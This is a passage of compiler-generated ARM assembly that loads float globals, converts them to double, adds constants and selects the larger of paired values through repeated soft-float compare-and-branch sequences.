mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1687+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+96
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1489
ldr r3, .L1687+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+52
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L430
.L1489:
ldr r3, .L1687+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+96
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L430:
ldr r3, .L1687+56
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+60
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1687+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1490
ldr r3, .L1687+56
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+60
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L433
.L1490:
ldr r3, .L1687+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L433:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1491
ldr r3, .L1687+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+52
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1687+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+96
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1492
ldr r3, .L1687+48
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+52
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L427
.L1492:
ldr r3, .L1687+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+96
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L427
.L1491:
ldr r3, .L1687+56
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+60
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1687+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1493
ldr r3, .L1687+56
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+60
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L427
.L1493:
ldr r3, .L1687+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+68
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L427:
mov r0, r2
mov r1, r3
bl __aeabi_d2f
mov r3, r0
str r3, [fp, #-68] @ float
ldr r3, .L1687+100
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1687+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1494
ldr r3, .L1687+100
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L445
.L1494:
ldr r3, .L1687+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L445:
ldr r3, .L1687+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+116
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1687+120
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+116
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1495
ldr r3, .L1687+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+116
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L448
.L1495:
ldr r3, .L1687+120
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+116
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L448:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1496
ldr r3, .L1687+100
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1687+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1497
ldr r3, .L1687+100
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L454
.L1497:
ldr r3, .L1687+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L454
.L1496:
ldr r3, .L1687+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+116
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1687+120
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+116
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1498
ldr r3, .L1687+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+116
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L454
.L1498:
ldr r3, .L1687+120
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+116
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L454:
ldr r3, .L1687+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+80
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1687+76
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+80
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1499
ldr r3, .L1687+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+80
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
b .L460
.L1499:
ldr r3, .L1687+76
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+80
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
.L460:
ldr r3, .L1687+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+88
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r8, r2
mov r9, r3
ldr r3, .L1687+92
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+96
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r8
mov r1, r9
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1500
ldr r3, .L1687+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+88
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L463
.L1500:
ldr r3, .L1687+92
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+96
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L463:
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1501
ldr r3, .L1687+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+80
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1687+76
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+80
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1502
ldr r3, .L1687+72
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+80
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L469
.L1502:
ldr r3, .L1687+76
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+80
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L469
.L1501:
ldr r3, .L1687+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+88
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1687+92
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+96
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1503
ldr r3, .L1687+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+88
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L469
.L1503:
ldr r3, .L1687+92
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+96
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L469:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1504
ldr r3, .L1687+100
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1687+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1505
ldr r3, .L1687+100
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L477
.L1505:
ldr r3, .L1687+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L477:
ldr r3, .L1687+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+116
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1687+120
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+116
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1506
ldr r3, .L1687+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+116
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L480
.L1506:
ldr r3, .L1687+120
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+116
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L480:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1507
ldr r3, .L1687+100
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1687+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1508
ldr r3, .L1687+100
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L490
.L1508:
ldr r3, .L1687+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L490
.L1507:
ldr r3, .L1687+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+116
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1687+120
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+116
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1509
ldr r3, .L1687+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1687+116
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L490
.L1509:
ldr r3, .L1687+120
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L490
.L1504:
ldr r3, .L1689+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1689+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1510
ldr r3, .L1689+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L493
.L1510:
ldr r3, .L1689+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L493:
ldr r3, .L1689+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+16
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1689+20
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1511
ldr r3, .L1689+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+16
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L496
.L1511:
ldr r3, .L1689+20
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L496:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1512
ldr r3, .L1689+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1689+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1513
ldr r3, .L1689+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L490
.L1513:
ldr r3, .L1689+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L490
.L1512:
ldr r3, .L1689+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+16
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1689+20
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1514
ldr r3, .L1689+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+16
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L490
.L1514:
ldr r3, .L1689+20
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L490:
mov r0, r2
mov r1, r3
bl __aeabi_d2f
mov r3, r0
str r3, [fp, #-64] @ float
ldr r3, .L1689+36
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1689+76
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1515
ldr r3, .L1689+36
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L508
.L1515:
ldr r3, .L1689+76
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L508:
ldr r3, .L1689+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1689+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+72
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1516
ldr r3, .L1689+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L511
.L1516:
ldr r3, .L1689+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+72
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L511:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1517
ldr r3, .L1689+36
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1689+76
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1518
ldr r3, .L1689+36
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L517
.L1518:
ldr r3, .L1689+76
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L517
.L1517:
ldr r3, .L1689+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1689+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+72
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1519
ldr r3, .L1689+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L517
.L1519:
ldr r3, .L1689+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+72
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L517:
ldr r3, .L1689+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+104
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1689+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1520
ldr r3, .L1689+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+104
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
b .L523
.L1520:
ldr r3, .L1689+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
.L523:
ldr r3, .L1689+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+80
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r8, r2
mov r9, r3
ldr r3, .L1689+116
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r8
mov r1, r9
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1521
ldr r3, .L1689+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+80
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L526
.L1521:
ldr r3, .L1689+116
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L526:
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1522
ldr r3, .L1689+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+104
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1689+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1523
ldr r3, .L1689+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+104
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L532
.L1523:
ldr r3, .L1689+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L532
.L1522:
ldr r3, .L1689+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+80
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1689+116
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1524
ldr r3, .L1689+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+80
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L532
.L1524:
ldr r3, .L1689+116
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L532:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1525
ldr r3, .L1689+36
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1689+76
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1526
ldr r3, .L1689+36
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L540
.L1526:
ldr r3, .L1689+76
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L540:
ldr r3, .L1689+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1689+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+72
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1527
ldr r3, .L1689+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L543
.L1527:
ldr r3, .L1689+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
